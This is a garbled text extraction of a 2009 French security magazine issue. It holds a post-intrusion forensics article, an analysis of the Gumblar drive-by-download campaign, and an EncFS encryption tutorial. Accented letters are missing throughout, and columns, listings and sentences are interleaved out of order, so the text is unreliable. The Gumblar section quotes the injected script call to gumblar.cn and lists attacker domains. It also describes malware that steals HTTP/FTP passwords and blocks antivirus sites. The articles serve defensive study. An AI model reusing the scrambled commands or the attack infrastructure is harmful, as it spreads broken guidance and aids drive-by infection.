ne sert qu' nous faciliter le travail pour que nous puissions nous rendre compte quoi nous avons affaire. Il nous reste encore analyser plusieurs notions importantes que nous mettrons en pratique dans un instant. La premire d'entre elles est un lien au fichier, appel un noeud intermdiaire (en anglais inode). Il s'agit d'un chiffre dfinissant le fichier donn, pointant l'objet donn et permettant d'y accder. Nous avons aussi deux types de liens : liens symboliques et liens matriels. Le lien matriel indique directement les donnes enregistres sur le disque dur, il se rapporte tout simplement un espace donn occup par le fichier sur l'appareil. Il dfinit par exemple le bloc de la mmoire du disque dur o se trouve le fichier en question, son adresse physique. Le lien symbolique en revanche est une structure qui indique le nom du fichier dans le systme et non directement
5/2009 HAKIN9 33

FOCUS
les donnes auxquelles ce fichier se rapporte. C'est autrement dit un raccourci courant au fichier. Imaginons que nous avons cr le fichier /Monfichier. Nous disposons donc d'un lien matriel pointant aux donnes stockes par ce fichier. Grce la commande ln -s, nous sommes capables de crer de nombreux liens symboliques qui seront de facto des raccourcis de ce fichier car ils se rapporteront son nom dans le systme de fichiers. Un seul lien matriel pointera toutefois aux donnes dans ce fichier. Pourquoi avons-nous besoin de tout cela ? C'est indispensable pour comprendre le concept de suppression des fichiers par le systme d'exploitation. Comme tout le monde en a srement entendu parler, il est possible de rcuprer les donnes depuis un fichier supprim. Et la suppression d'un fichier par le systme d'exploitation n'est rien d'autre que la suppression des liens matriels et symboliques au fichier en question, de sorte qu'il ne soit pas possible de le lire depuis le niveau du systme de fichiers. De plus, le bloc du disque donn o s'est trouv le fichier, est marqu par le systme d'exploitation pour tre cras. Au moment opportun, le systme d'exploitation enregistre ici d'autres donnes en dtruisant ce qui y avait t stock auparavant. Cette possibilit dpend de l'activit de l'ordinateur en question : des oprations de lecture/d'enregistrement y sont souvent effectues, la probabilit de la suppression, qui rend impossible de rcuprer le fichier, augmente considrablement. Ce message est trs utile dans l'analyse aprs l'attaque. Nous pouvons essayer de lire le contenu du disque dur en omettant le systme de fichiers en pensant pouvoir lire des informations prcieuses. De plus, nous pouvons essayer de rcuprer les fichiers prcieux supprims par l'attaquant. Mais c'est un processus qui prend beaucoup de temps et d'effort et qui se termine souvent par un chec. Lorsque nous voulons rcuprer des donnes prcieuses, il est conseill de confier cette tche aux spcialistes qualifis qui travaillent dans les entreprises, charges des travaux de ce type au quotidien. La dernire caractristique (importante de notre point de vue) du systme de fichiers d'un systme d'exploitation moderne tel que Linux, FreeBSD, Microsoft Windows, est un journaling, autrement dit, une journalisation. Comme son nom l'indique, il s'agit d'une manire d'enregistrer des informations sur les vnements survenus dans le systme de fichiers : les oprations d'enregistrement d'un fichier, sa lecture, bref, un journal de tout ce que le systme de fichiers a ralis en une dure dtermine. Il en est ainsi dans la plupart de cas car il est galement possible de configurer la journalisation de sorte qu'elle enregistre en fonction de nos besoins le fichier deux fois, ce qui permettra de rcuprer les donnes incorrectement enregistres. Tout cela est une question d'un certain compromis entre la performance (donc l'opration de lecture/ d'enregistrement) et la scurit et bien videmment, de l'espace disponible sur le disque. Un double enregistrement occupe en effet deux fois plus d'espace qu'une opration standard d'enregistrement. Le mode le plus populaire est celui qui n'enregistre pas le fichier en entier mais seulement ses mtadonnes (les donnes dont dispose le systme de fichiers sur le fichier, illustres l'aide de la structure stat prsente sur le Listing 1). l'image en question sur un autre ordinateur soit d'utiliser le rseau pour le faire (comme le prsente le Listing). Il faut toutefois prendre en considration le fait que le rseau peut ne pas tre scuris et une partie d'informations peut alors tre intercepte par des personnes non autorises. Dans une telle situation, il faut penser chiffrer le fichier transfr. L'tape suivante consistera monter le systme de fichiers de la victime sur notre ordinateur. Pour ce faire, nous faisons la commande mount comme si nous montions un autre disque. Le commutateur -t servira dterminer quel systme de fichiers est contenu dans l'image. Ajoutons galement les options ro, noexec, nodev (pour viter d'craser accidentellement l'image ou de dmarrer les programmes). Maintenant, nous sommes prts agir. Dans un premier temps, nous vrifions les indicateurs MAC du systme de fichiers mont. Pour ce faire, nous disposons de la commande mctime du paquet d'outils TCT, que nous avions install auparavant sur le systme utilis pour effectuer l'analyse. Cette commande affichera quels fichiers taient utiliss et en effet, comme nous l'avons voqu au dbut, toute utilisation d'un fichier non utilis d'habitude doit attirer notre attention. Imaginons que nous avons dcouvert un fichier appel telnetd , comme c'tait le cas dans l'exemple analys ci-dessus. Dans un premier temps, il faut s'assurer qu'il s'agit d'un vrai serveur telnet. La manire la plus simple consiste gnrer la somme md5 pour ce fichier et la comparer aux sommes md5 disponibles pour les fichiers de chaque distribution des systmes, que vous trouverez sur Internet. La commande est la suivante : md5sum telnetd . Nous comparons la somme la valeur approprie en provenance de la base de donnes correspondant au systme de la distribution en question. Si les sommes md5 sont diffrentes, il s'agit de deux programmes diffrents. Il est galement possible que le fichier telnetd soit en ralit un autre fichier du systme donn, par exemple /bin/login , ce qui permet l'intrus de se connecter au systme distance. Il faut donc vrifier si l'une

Parcourir le systme de fichiers

La premire opration faire consiste crer une image du systme de fichiers. Pour ce faire, nous disposons de la commande dd . Le Listing 2 prsente son fonctionnement. La commande dd permet de crer l'image du disque dur, appelons-la par exemple image.hda . Ensuite, il est possible soit de copier manuellement

Listing 2. Crer une image de la partition et la copier via le rseau


#!/bin/bash dd if=/dev/hda1 bs=100k of=obraz.hda nc -l -p 2345 > obraz.hda

34 HAKIN9 5/2009

des sommes md5 correspond au fichier analys. L'heure de la cration du fichier donn est aussi importante. Elle nous informe de la date probable o le systme a t compromis. L'tape suivante consiste analyser les logs des interfaces rseau. Cette dmarche nous permet souvent de dterminer quels htes se sont connects une date dtermine l'ordinateur sur le port donn, par exemple sur le port o coute le programme telnetd . Grce l'adresse IP de cet hte, nous pouvons vrifier s'il est prsent quelque part dans les logs. En gnral il se trouve une date infrieure, ce qui permet de voir quel programme tait l'origine du systme compromis. Simplement parlant, quelle application contenait des failles permettant l'attaquant de l'exploiter distance. Lorsque nous connaissons l'origine du systme compromis et la date de l'vnement, nous pouvons passer une analyse plus dtaille du programme trouv. Ce n'est pas le sujet de notre article, nous ne nous limiterons donc qu' un bref aperu de possibilits disponibles. L'analyse du programme suspect peut tre divise en statique et dynamique. L'analyse statique comprend tout ce que nous pouvons faire sans lancer le programme suspect. Nous pouvons faire la commande strings pour afficher toutes les suites de caractres dans le programme, vrifier les bibliothques avec lesquelles il est li de manire dynamique. La dernire tape la plus difficile consiste dsassembler le code du programme pour observer en dtails son fonctionnement. C'est une tche qui demande beaucoup de temps et d'effort. Les connaissances excellentes de l'assembleur sont absolument indispensables. L'analyse dynamique comprend toutes les oprations que nous pouvons effectuer lors du fonctionnement du

programme analys. Elle comprend donc de telles oprations que le dbogage du programme en temps rel, son suivi l'aide de la fonction systme strace . Cette dmarche est toutefois lie avec un risque de dtruire le systme sur lequel nous travaillons. Les systmes virtuels spciaux ont t donc crs des fins d'une telle analyse. Ils essaient d'muler le systme dtermin avec une plateforme matrielle donne pour tromper au maximum le programme suspect. Il est possible d'intercepter les appels des fonctions systme, des interruptions matrielles, l'accs aux interfaces rseau, bref, tout ce dont ce programme a besoin lorsqu'il est lanc dans un environnement rel. Connatre le fonctionnement du programme suspect est un lment important de l'analyse aprs l'attaque. Il permet de se rendre compte quoi le systme compromis a t utilis. Une fois cette analyse effectue, nous devons disposer de l'information sur la date de l'vnement. Nous pouvons mme connatre la date de la dernire connexion de l'intrus dans le systme compromis. Cette information suffit pour crer un rapport d'une telle analyse.

fichiers . Ensuite, l'aide du programme icat (inode cat) du paquet TCK, nous pouvons copier le contenu de ce nouvel dans le fichier sur le disque dur. Il est alors possible de parcourir le journal la recherche de quelque chose d'intressant. Une chose intressante consiste aussi rechercher directement dans la mmoire des systmes UNIX. Bien videmment, cette dmarche est utile seulement si nous avons rapidement dcouvert l'attaque. Il est alors possible de vrifier ce qui se trouve actuellement dans la mmoire et filtrer les rsultats la recherche des preuves. Pour ce faire, nous pouvons utiliser un fichier-outil spcial dans le rpertoire /dev il s'agit de /dev/mem, donc la mmoire. l'aide de la combinaison des commandes
cat /dev/mem | grep quelqueCho seDintressant , nous parcourons la

mmoire du point de vue du contenu des donnes importantes pour nous. Le Listing 3 prsente comment lire le journal du systme de fichiers, la manire de le faire est assez atypique. C'est pour cette raison nous avons parl de cette opration dans cette partie de l'article.

Conclusion

Recherche d'informations dans des endroits atypiques


Le dernier point abord dans notre article est une sorte de curiosit : recherche d'informations dans des endroits atypiques. Dans un premier temps, parlons du journal du systme de fichier. L'accs y est possible uniquement en appelant le journal et son noeud intermdiaire, sans les structures du systme de fichiers. Il faut donc trouver, au moyen du programme tune2fs pour le systme ext3, le numro adquat du noeud intermdiaire correspondant au journal du systme de

L'analyse aprs l'attaque est un outil indispensable dans la situation o nous sommes victime d'une cyberattaque. Elle permet de dterminer la date de l'vnement et les oprations qui ont pu tre effectues dans le systme compromis : pourquoi l'attaquant s'en est servi ?. Ces informations sont ncessaires si nous souhaitons nous protger contre une nouvelle attaque de notre systme. Nous esprons que les systmes que vous administrez n'auront jamais besoin d'tre soumis une telle analyse aprs l'attaque.

Sur le Net :
http://www.porcupine.org/forensics/ forensic-discovery une excellente publication relative l'analyse aprs l'attaque, http://www.porcupine.org/forensics/ tct.html The Coroner's Toolkit, http://fr.wikipedia.org/wiki/Ext3 systme de fichiers ext3.

Listing 3. Lecture d'informations dans le journal du systme de fichiers


# tune2fs -l /dev/hda1 | grep -i journal filesystem features: has_journal filetype needs_recovery sparse_super Journal UUID: <none> Journal inode: 8 Journal device: 0x0000 # icat /dev/hda1 8 > ~/fsJournal

5/2009 HAKIN9

35

ADRIEN GUINAULT, XMCO PARTNERS

FOCUS Injection de liens malicieux:


une nouvelle attaque nomme Gumblar
Entre mars et mai 2009, une tempte d'attaques s'est abattue sur lInternet. Baptises Gumblar, ces attaques ont infiltr des milliers dordinateurs en exploitant les vulnrabilits d'Adobe Acrobat Reader et Macromedia Flash. Faisons le tour de ces attaques qui persistent encore lheure o nous crivons cet article.
Linfection des visiteurs
http://cve.mitre.org/cgi-bin/ cvename.cgi?name=2007-5659 http://www.adobe.com/support/security/ advisories/apsa08-01.html Vulnrabilit Adobe Acrobat Reader JBIG (versions affectes : infrieures 9.1, 8.1.3 et 7.1.1) http://cve.mitre.org/cgi-bin/ cvename.cgi?name=CVE-2009-0927 http://www.adobe.com/support/security/ bulletins/apsb08-11.html

Degr de difficult

Ds que le site vrol est visit par un internaute, le navigateur excute le script (src=//gumblar.cn/rss/?id=X). En fonction du navigateur, plusieurs fichiers seront proposs la victime. Voici les diffrents payloads utiliss par les pirates en fonction de la valeur du paramtre id envoy:
id=2 : Attaque Acrobat PDF

Le serveur malicieux renvoie un document PDF malicieux:


Content-Disposition: inline;

Anecdote amusante : l'heure o nous crivons cet article, les fichiers PDF malicieux exploitant la vulnrabilit JBIG2 ne sont toujours pas dtects par certains antivirus du

CET ARTICLE EXPLIQUE...


Les tapes de l'attaque Gumblar. Comment les pirates ont exploit astucieusement les rcentes failles PDF et Flash.

Content-Transfer-Encoding: binary Connection: close Content-Type: application/pdf

filename=XXXX.pdf

CE QU'IL FAUT SAVOIR...


Connaissances des systmes Windows. Notions de base des protocoles TCP/IP. 36 HAKIN9 5/2009

Ce document malicieux, forg avec du code excutable en son sein, se base sur les deux failles suivantes : Vulnrabilit Adobe Acrobat Reader via de longs arguments passs certaines mthodes javascript (versions affectes : infrieures 8.1.1)

Figure 1. Diffusion du JavaScript Gumblar

VIROLOGIE

Prsentation de Gumblar

Figure 2. Site hbergeant un JavaScript Gumblar march. On comprend alors le succs de l'attaque Gumblar.
id=3 : Attaque Flash

Le terme Gumblar a t utilis pour la premire fois au mois de mars 2009. Ce terme provient du nom de domaine gumblar.cn hbergeant le camp de base des pirates derrire ces attaques. Sous ce nom trange se cache une attaque qui, mene grande chelle, a permis de diffuser un virus par le biais de liens malicieux insrs au sein de pages web pralablement compromises. Le terme Gumblar dfinit cette attaque, mais galement le code JavaScript malveillant (Troj/JSRedir-R ) dpos au sein de sites web vrols par les pirates. Ce JavaScript a un unique but: rediriger les visiteurs vers des sites web entirement contrls par les pirates. Ceux-ci tentent alors dexploiter des vulnrabilits du navigateur des victimes ou les inciter tlcharger un excutable douteux. Ce principe dattaque, baptis drive by download, svit depuis quelques annes avec notamment la fameuse injection dIframe davril 2008.

Le dbut de lattaque et linfection massive de sites web lgitimes

Le serveur malicieux renvoie un fichier Flash malicieux:


Content-Disposition: inline;

Content-Transfer-Encoding:binary Connection: close Content-Type: application/ Cette animation Flash malicieuse du Player Shockwave, dont une Vulnrabilit des players Flash File Remote Buffer Overflow Vulnerability) faille de 2007 : x-shockwave-flash

filename=XXXX.swf

exploite plusieurs vulnrabilits

(Adobe Flash Player Multimedia

cvename.cgi?name=CVE-2007-0071 id=11 : Soumission d'un tlchargement d'un fichier EXE

http://cve.mitre.org/cgi-bin/

Le serveur contrl par les pirates propose de tlcharger un excutable malicieux :


Content-Disposition: inline; Content-Transfer-Encoding:binary Connection: close octet-stream Content-Type: application/ filename=XXXX.exe

Revenons quelques mois auparavant. Au mois de mars 2009, un grand nombre dinternautes ont successivement t infects la suite dune navigation sur des sites web lgitimes. la vue des plaintes grandissantes, les chercheurs en scurit commencent alors sintresser au problme et un ventuel exploit 0-day. Aprs lanalyse du code source de plusieurs sites lgitimes suspects davoir infect les victimes, un bout de code JavaScript trange est identifi. Ce dernier pointe vers plusieurs domaines, dont gumblar.cn, puis martuz.cn. Quelques 1500 sites web auraient hberg ce code JavaScript trange : Tennis.com, variety.com, Coldwellbanker.com ou encore des sites franais comme pronopsg.com ou psgteam.net ont relay l'attaque Gumblar. Linfection de ces milliers de sites web a priori lgitimes a ncessit une diffusion rapide et efficace du code malveillant. Comment les pirates sy sont-ils pris? La premire hypothse repose sur une attaque massive dinjection SQL (comme ce fut le cas lors des dernires attaques dinjection dIframes). Il est probable que les pirates soient donc parvenus exploiter en masse ce type de faille afin de modifier le code source de milliers de pages web. La deuxime hypothse est quant elle base sur le fait que les pirates auraient pu compromettre plusieurs hbergeurs et ainsi polluer en masse de nombreux sites web. Hypothse peu probable vu la diversit des domaines infects. Par ailleurs, des tudes ont observ que la plupart des sites infects taient dvelopps en PHP (dont notamment des forums Phpbb, SMF, vBulletin et Wordpress 2.7.1). Des failles propres ces forums seraient trs probablement des voies dinfection, mais trs peu d'lments concrets permettent de corroborer cette troisime hypothse. Selon Websense, le 6 mai, prs de 22000 sites taient infects par le JavaScript Gumblar et prs de quatre fois plus deux semaines plus tard, soient 80000 sites web touchs par cette attaque (voir graphique suivant issu du blog de WebSense).

Les malwares injects

Comme nous lavons vu, une fois que les vulnrabilits des logiciels

Figure 3. Le code obfusqu de Gumblar


5/2009 HAKIN9 37

FOCUS
Analyse du code javascript malicieux insr
lheure o nous crivons cet article, de nombreux sites sont encore infects. Aprs quelques recherches sur Google, nous tombons justement sur un site contenant ce code JavaScript. Ce site lapparence lgitime contient en fait le code en question qui va rediriger silencieusement ses visiteurs vers un serveur exploitant des failles de scurit des navigateurs. Le code est encod. Largument utilis la fin du code (/>/g) va tre remplac par % tout au long de la fonction laide de la fonction replace(). Au final, en remplaant le caractre > par % puis en convertissant en hexadcimal, on obtient le code dcod suivant. Ce code JavaScript effectue un contrle sur le type de navigateur (userAgent) utilis des visiteurs. Si l'internaute utilise un systme Windows, un autre code JavaScript issu du site gumblar.cn est alors appel et excut silencieusement. Ce script possde en paramtre un ID qui permettra aux pirates dutiliser diffrentes payloads. Il faut noter que la premire version du code JavaScript ntait pas obfusque, mais les pirates ont vite compris lintrt de cacher une partie du code pour contourner les antivirus. Cependant, on pourrait douter du professionnalisme de ces pirates, car les mthodes dobfusquation mises en place sont tout de mme simples et vraiment faciles dcoder. Au dpart, seuls les sites gumblar.cn et martuz.cn taient utiliss par les pirates. Site la fermeture ou la dtection de ces derniers, dautres domaines ont rapidement t monts par les pirates : utobestwestern.cn, bestlotron.cn, betbigwager.cn, denverfi lmdigitalmedia.cn, educationbigtop.cn, filmtypemedia.cn, finditbig.cn, greatbethere.cn, hotslotpot.cn, liteautotop.cn, litebest.cn, litegreatestdirect.cn, litetopdetect.cn, lotbetsite.cn, lotwageronline.cn, mediaho menamemartvideo.cn, nameashop.cn, perfectnamestore.cn, playbetwager.cn, bestfindaloan.cn, finditbig.cn, litetopdetect.cn, litetopfindworld.cn, lotwageronline.cn, nanotopdiscover.cn, torrentoreactor.net, bestfindaloan.cn, finditbig.cn, litegreatestdirect.cn, lotwageronline.cn, bigtruckstopseek.cn, autobestwestern.cn, bestlitediscover.cn, bigpremiumlite.cn, bigtopartists.cn, bigtopcabaret.cn, bigtopsuper.cn, giantnonfat.cn, hugebestbuys.cn, litetopautoseek.cn, superdietfind.cn, yourlitetopfind.cn

Figure 4. Le code en clair

Figure 5. Le domaine original Gumbar.cn bloqu par Google Safe Browsing Acrobat Reader et Flash sont exploites, un payload est inject et permet de tlcharger et dexcuter un virus. Ce dernier est aujourdhui dtect par tous
les antivirus (Troj/Daonol-Fam). Nous ne rentrerons pas dans l'analyse de ces codes viraux, cependant le malware opre via plusieurs axes.

Figure 6. Les PDF malicieux de Gumblar ne sont pas toujours dtects


38 HAKIN9 5/2009

VIROLOGIE
linternaute vers des sites choisis par les attaquants. Le virus intgre galement un de cheval de Troie permettant le contrle distance du poste infect. de traces d'un tel JavaScript sur leurs sites web. De leur ct, les internautes devraient mettre jour leur systme avec WindowsUpdate, mais galement mettre jour leur lecteur Acrobat et Flash. Enfin, rappelons que le changement rgulier des mots de passe est encore plus d'actualit tant donn que des millions de mots de passe ont pu tre vols par Gumblar.

Conclusion

Figure 7. Premier axe : le virus dtourne (hook) les fonctions de la DLL WS2_ 32.dll afin de monitorer le trafic rseau. Cette technique permet de voler tous les mots de passe HTTP et FTP. Ces mots de passe seront ensuite envoys aux pirates qui se ser viront alors de ces identifiants pour compromettre de nouveaux sites et largir leur champ d'action. Tout comme Conficker, une fonction de blacklist de mots-cls (Adobe, DaonolFix, bleepingcomputer, clamav, mbam, mcafee, miekiemoes, prevx) a t implmente afin dinterdire laccs ces sites qui pourraient permettre aux victimes de patcher leur machine. De plus, le virus installe un proxy local sur le port 7171 qui va interfacer les recherches effectues dans Google par le navigateur. Ds lors, les pages de rsultats Google seront totalement modifies par le virus afin de diriger

La redirection vers des sites malicieux via des balises HTML caches au sein de sites web pralablement pirats est trs en vogue depuis 2 ans. Gumblar est un nouvel exemple de ce type d'attaque sophistiqu qui multiplie les sites relais et les vulnrabilits exploites sur les postes victimes. Aujourd'hui, tous les administrateurs devraient s'assurer de ne pas avoir

propos de l'auteur

Adrien Guinault est expert en scurit informatique. Adrien intervient sur des sujets comme les tests d'intrusion, les audits de scurit et les attaques 2.0. Issu de l'EFREI, Adrien est aujourd'hui le responsable de la cellule de veille du cabinet Xmco Partners et de l'ActuScu.

PUBLICIT

Sur le rseau
http://securitylabs.websense.com/ content/Blogs/3401.aspx http://www.australianwebmaster.com/ showthread.php?t=2633 http://mad.internetpol.fr//archives/44Daonol-Gumblar-Miekiemoes-is-asuperstar.html http://www.martinsecurity.net/2009/ 05/20/inside-the-massive-gumblarattacka-dentro-del-enorme-ataquegumblar/

5/2009 HAKIN9

39

RGIS SENET

BACKUP Cryptage

des donnes avec ncFS


Les donnes dune entreprise sont rellement la clef de voute de celle-ci, il est absolument ncessaire de les protger de toutes menaces. Nous allons donc nous rapprocher dun moyen de chiffrement/dchiffrement des donnes sur un systme dexploitation de type GNU/Linux. EncFS peut sutiliser tout aussi bien sur un serveur dentreprise que sur un poste utilisateur, il convient donc quasiment lensemble des utilisateurs.

Degr de difficult

CET ARTICLE EXPLIQUE...


Lintrt du cryptage des donnes dentreprise Le cryptage des donnes avec EncFS

CE QU'IL FAUT SAVOIR...


Connaissance en systme dexploitation UNIX/Linux 40 HAKIN9 5/2009

e cryptage, ou dans un bon franais, le chiffrement est en cryptographie le procd grce auquel on souhaite rendre la comprhension d'un document impossible toute personne qui n'a pas la cl de (d)chiffrement. Le terme cryptage est un anglicisme, tir de l'anglais encryption. L'acadmie franaise prcise bien que le mot cryptage est bannir mme sil se retrouve assez rgulirement dans des usuels. Il est noter galement quil y a une importante diffrence entre les dfinitions des mots chiffrer/dchiffrer et crypter/dcrypter. Dcrypter dsigne le fait de retrouver le message en clair correspondant un message chiffr sans possder la cl de dchiffrement alors que le fait de dchiffrer un message permet de retrouver le message en ayant la cl en sa possession. A lheure actuelle, il est possible de crypter, ou pour les plus pointilleux, chiffrer, peu prs lensemble des donnes, quil sagisse des donnes prsente sur le disque dur de nos serveur ou de nos ordinateurs portables, que ce soit les donnes transitant sur le rseau, la VOIP etc. Le chiffrement de certaines donnes peut tre trs facilement comprhensible du fait que lon peut comprendre que ces donnes sont importantes voir vitales pour une entreprise.

En effet, depuis lavnement des ordinateurs portables, de plus en plus de donnes extrmement confidentielles se promnent sur les disques durs des techniciens, des commerciaux ou encore des dirigeants ainsi que des secrtaires. Le transport tant lun des meilleurs atouts des ordinateurs portables peut maintenant tre lun de leurs plus gros inconvnients. En effet, il est possible de voir une nette augmentation des vols dordinateur dans les locaux mme des entreprises. Il sest avrer que dans plus de 90% des cas, un vol dordinateur ne possdant un moyen de chiffrement des donnes acceptable sest sold par des pertes financires ou alors des tentatives dattaque lencontre de lentreprise. Les donnes dune entreprise sont rellement la clef de voute de celle-ci, il est absolument ncessaire de les protger de toutes menaces. Nous allons donc nous rapprocher dun moyen de chiffrement/dchiffrement des donnes sur un systme dexploitation de type GNU/Linux. EncFS peut sutiliser tout aussi bien sur un serveur dentreprise que sur un poste utilisateur, il convient donc quasiment lensemble des utilisateurs.

Quest ce quEncFS

Le projet EncFS a vu le jour pour sa premire apparition dans le courant de lanne 2004. Aprs

plusieurs annes de dveloppement, EncFS se trouve tre actuellement sa version 1.5.0 depuis le 7 Septembre 2008. Le numro de version ne sont pas constamment mis jour alors que de nouvelles mise jour, bien que minime, apparaissent. La toute dernire en date du 16 mars 2009 fixe un mini bug dans lapplication elle-mme. EncFS a la chance d'tre sous licence GPL lui permettant une volution trs rapide. Cette rapide volution sexplique galement grce aux nombreux utilisateurs renvoyant rgulirement aux dveloppeurs de nouveaux bugs de lapplication. EncFS arrive se diffrencier des autres gestionnaires de chiffrement des donnes grce sa simplicit dutilisation ainsi que grce aux nombreuses options quil possde. En effet, il est possible de choisir entre plusieurs algorithmes de chiffrement des donnes. Installation et configuration dEncFS Au cours de cet article, la distribution utilise fut une Debian 5.0 (Lenny) entirement mise jour. Attention, il est possible que certaines commandes ne soient pas tout fait identiques sur une autre distribution.Lensemble des installations va se raliser grce au gestionnaire de paquets propre un systme Debian : APT (Advanced Package Tool).

Il est possible de mettre jour lensemble du systme via la commande suivante :


nocrash:~# apt-get update && apt-get upgrade

Le systme dexploitation est maintenant compltement jour, il est donc possible de mettre en place EncFS dans de bonnes conditions. Il est possible de ne pas passer par cette tape mais elle est fortement conseille pour la scurit ainsi que la stabilit de votre systme dexploitation. Installation de Fuse Fuse ou encore Filesystem in UserSpacE est un logiciel libre permettant un utilisateur sans privilges daccder un systme de fichiers sans quil soit ncessaire de modifier le noyau linux. Fuse est particulirement utilis pour les systmes de fichiers virtuel ce qui est exactement ce que nous allons mettre en place par la suite. En effet, EncFS est un systme de chiffrement de rpertoire utilisant la bibliothque FUSE ainsi quun module du noyau Linux. Procdons linstallation :
nocrash:~# apt-get install nocrash:~# apt-get install libfuse2 fuse-utils

Mise jour du systme

nt de noter quun groupe fuse vient de se crer sur le systme :


nocrash:~# cat /etc/group | grep fuse fuse:x:118:

Il est possible tous moment quune faille de scurit soit dcouverte dans lun des modules composant votre systme que ce soit Apache ou quoi que ce soit dautre. Certaines de ces failles peuvent tre critiques dun point de vue scurit pour lentreprise. Afin de combler ce risque potentiel, il est ncessaire de rgulirement mettre jour lensemble du systme grce divers patches de scurit.

Voici les commandes utiliser pour linstallation via les sources :


nocrash:~# tar zxvf fusenocrash:~# cd fuse-2.4.1 nocrash:~# ./configure nocrash:~# make && make install 2.4.1.tar.gz

Attention

Il est important de donner des chemins complet EncFS et non pas des chemins relatif tel que ~.data/ quil faudra remplacer / par /home/nocrash/data/.

Configuration pour les versions Debian non rcente

Pour les versions de Debian assez ancienne, il est ncessaire de rajouter


5/2009 HAKIN9 41

BACKUP
Listing 1.
nocrash:~# encfs /home/nocrash/.protected/ /home/nocrash/data/ Le rpertoire "/home/nocrash/.protected/" n'existe pas. Faut-il le crer ? (y/n) y Le rpertoire "/home/nocrash/data/" n'existe pas. Faut-il le crer ? (y/n) y Cration du nouveau volume encrypt. Veuillez choisir l'une des options suivantes : entrez "x" pour le mode de configuration expert entrez "p" pour le mode paranoaque prconfigur, toute autre entre ou une ligne vide slectionnera le mode normal. ?> x

Nous allons utiliser le mode de configuration expert afin dtre entirement maitre de nos actions et afin davoir un cryptage qui correspond rellement nos besoins. Mode de configuration manuelle slectionn. Les algorithmes suivants sont disponibles :
AES : 16 byte block cipher de 128 256 bits 4096 octets de 8 octets

FUSE dans les lments au dmarrage du systme.


nocrash:~# echo fuse >> /etc/modules

Termin.

groupe fuse

-- supporte des tailles de cl -- supporte des blocs de 64 2. Blowfish : Cryptage en bloc -- supporte des tailles de cl -- supporte des blocs de 64 4096 octets de 128 256 bits

Afin de charger le module directement sans avoir redmarrer le PC, il est ncessaire de passer par la commande suivante :
nocrash:~# modprobe fuse

Cet exemple va ajouter lutilisateur nocrash dans le groupe fuse

Il est possible de vrifier que notre utilisateur est bien prsent dans le groupe fuse grce la commande groups :
nocrash:~# groups

Entrez le numro correspondant votre choix : 1.

Une fois le module FUSE charg grce un redmarrage ou bien grce lutilisation de modprobe, le module se matrialise par /dev/fuse. Par dfaut, /dev/fuse nest pas correctement configur et il est ncessaire de modifier le propritaire grce la commande suivante :
nocrash:~# chgrp fuse /dev/fuse

nocrash dialout cdrom floppy audio video plugdev fuse

Notre utilisateur est bien prsent dans le groupe fuse, il est prsent possible de passer aux tapes suivantes.

Lcran suivant nous donne la possibilit de choisir lalgorithme de cr yptage que nous allons utiliser pour protger nos donnes. Lalgorithme AES fut choisi du fait de sa robustesse.
Algorithme slection "AES" de cl en bit.

Mise en place dEncFS

Quelques vrifications

Il est, en premier lieu, important dajouter les utilisateurs pouvant utiliser FUSE au groupe rcemment cr.
nocrash:~# adduser nocrash fuse au groupe fuse

Il est maintenant ncessaire dinstaller et de configurer EncFS afin de pouvoir crypter nos fichiers/dossiers plus ou moins confidentiels. Pour cela, nous allons installer le programme EncFS. Encore une fois, nous allons raliser cela grce au gestionnaire de paquets APT.
nocrash:~# apt-get install encfs

Veuillez choisir une taille L'algorithme que vous avez des cls de 128 256 bits par Par exemple : 128, 192, 256 paliers de 64 bits. slectionn supporte

Taille de cl slectionne : 192

Ajout de lutilisateur nocrash Ajout de lutilisateur nocrash au

Attention

Il est fortement conseill lorsquil sagit de dossier trs sensible dutiliser le mode paranoaque , ce mode tant beaucoup plus restrictif. Nanmoins, il est conseill de ne pas utiliser ce mode au cas ou le rpertoire que lon souhaite crypter aurait des interactions avec une partie du systme. Ce mode tant tellement restrictif quil empcherait le systme de fonctionner dans de bonnes conditions.

Afin davoir un exemple pratique, nous allons crypter lensemble de nos donnes prsente dans lun de nos dossiers. Le rpertoire de stockage des donnes chiffres sera /home/nocrash/.protected/ et le rpertoire de travail (prsentant lensemble des donnes en clair aprs authentification) sera /home/nocrash/data/. Il nest pas ncessaire de se soucier de la cration des rpertoires, en effet, lors de la premire utilisation de la commande encfs , les dossiers contenant les donnes chiffres et les donnes en claires seront automatiquement crs.

Lcran suivant nous propose la configuration dAES. Bien videment, dans le cas ou vous auriez choisi un autre algorithme prcdemment, la configuration naurait pas t la mme. Dans ce cas ci, il est simplement ncessaire de spcifier la taille de la cl en bit. Une taille de 192 bits est amplement ncessaire dans ce cas de figure. La taille de la cl grandira proportionnellement limportance des donnes crypter. Les deux crans suivants vont toujours tre en rapport avec la manire que nous voulons crypter nos donnes.

42 HAKIN9 5/2009

SecureIP Solutions

La scurit de linformation est une chose importante pour les entreprises et mme pour les particuliers. Cest pourquoi SecureIP Solutions vous propose diffrents produits et services pour protger vos prcieuses donnes tels quun service de sauvegarde en ligne, les diffrents produits BitDefender et bien plus encore. http://www.secureip.ca

NUMERANCE

NUMERANCE, Spcialise dans la scurit informatique, intervient auprs des Petites et Moyennes Entreprises, en proposant des prestations daudit, daccompagnement, et de formation. http://www.numerance.fr

Herv Schauer Consultants

Pour plus de renseignement : hakin9@hakin9.org

Herv Schauer Consultants : 17 ans d'expertise en Scurit des Systmes d'Information Nos formations techniques en scurit et ISO27001 sont proposes Paris, Toulouse, et Marseille. http://www.hsc.fr/services/formations/cataloguehsc.pdf Informations : formations@hsc.fr - +33 (0)141 409 704

TippingPoint

TippingPoint est un leader mondial dans la prvention des intrusions rseaux (Network IPS) de 50Mbps 10Gigabits ainsi que la vrification dintgrit de poste et le contrle daccs du rseau (NAC). Tl : 01 69 07 34 49, E-mail : francesales@tippingpoint.com http://www.tippingpoint.com

Sysdream

Cabinet de conseil et centre de formation spcialis en scurit informatique. Lexprience c'est avant tout les recherches publiques, visant amliorer la scurit des applications et des systmes dinformations. Les rsultats disponibles sur des portails de recherche, dans la presse spcialiss. http://www.sysdream.com

MICROCOMS

Microcoms est une socit spcialise dans les produits Microsoft qui a pour vocation d'aider les particuliers, les TPE-PME et les professions librales sur 6 axes principaux de l'informatique : Assister, Dpanner, Conseiller, Scuriser, Former, Maintenir. Tl. : 01.45.36.05.81 e-mail : contact@microcoms.net http://www.microcoms.net

Club .PRO

ALTOSPAM

